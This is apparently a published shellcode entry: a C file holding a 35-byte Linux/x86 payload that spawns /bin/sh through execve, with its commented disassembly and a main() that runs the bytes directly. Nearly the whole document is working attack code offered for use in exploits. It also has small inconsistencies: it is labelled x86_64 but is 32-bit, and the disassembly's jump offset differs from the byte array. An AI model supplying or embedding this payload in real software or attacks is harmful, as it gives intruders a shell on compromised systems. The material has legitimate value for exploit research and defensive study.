/* ; Title: Linux/x86 execve "/bin/sh" - shellcode 35 bytes ; Platform: linux/x86_64 ; Date: 2014-06-26 ; Author: Mohammad Reza Espargham ; Simple ShellCode    section .text:    08048060 <_start>:   8048060:    eb 17                    jmp    8048079    08048062 :   8048062:    5e                       pop    %esi   8048063:    31 d2                    xor    %edx,%edx   8048065:    52                       push   %edx   8048066:    56                       push   %esi   8048067:    89 e1                    mov    %esp,%ecx   8048069:    89 f3                    mov    %esi,%ebx   804806b:    31 c0                    xor    %eax,%eax   804806d:    b0 0b                    mov    $0xb,%al   804806f:    cd 80                    int    $0x80  8048071:    31 db                    xor    %ebx,%ebx   8048073:    31 c0                    xor    %eax,%eax   8048075:    40                       inc    %eax   8048076:    cd 80                    int    $0x80   08048078 :   8048078:    e8 e5 ff ff ff           call   8048062   804807d:    2f                       das   804807e:    62 69 6e                 bound  %ebp,0x6e(%ecx)   8048081:    2f                       das   8048082:    73 68                    jae    80480ec */       #include <stdio.h> #include <string.h> #include <sys/mman.h>    #define PAGE_SIZE 4096U       char code[] = {      "\xeb\x16\x5e\x31\xd2\x52\x56\x89\xe1\x89\xf3\x31\xc0\xb0\x0b\xcd"     "\x80\x31\xdb\x31\xc0\x40\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69"     "\x6e\x2f\x73\x68"};    int main() {    printf("Shellcode Length:  %d\n", (int)strlen(code)); int (*ret)() = (int(*)())code; ret();    return 0; }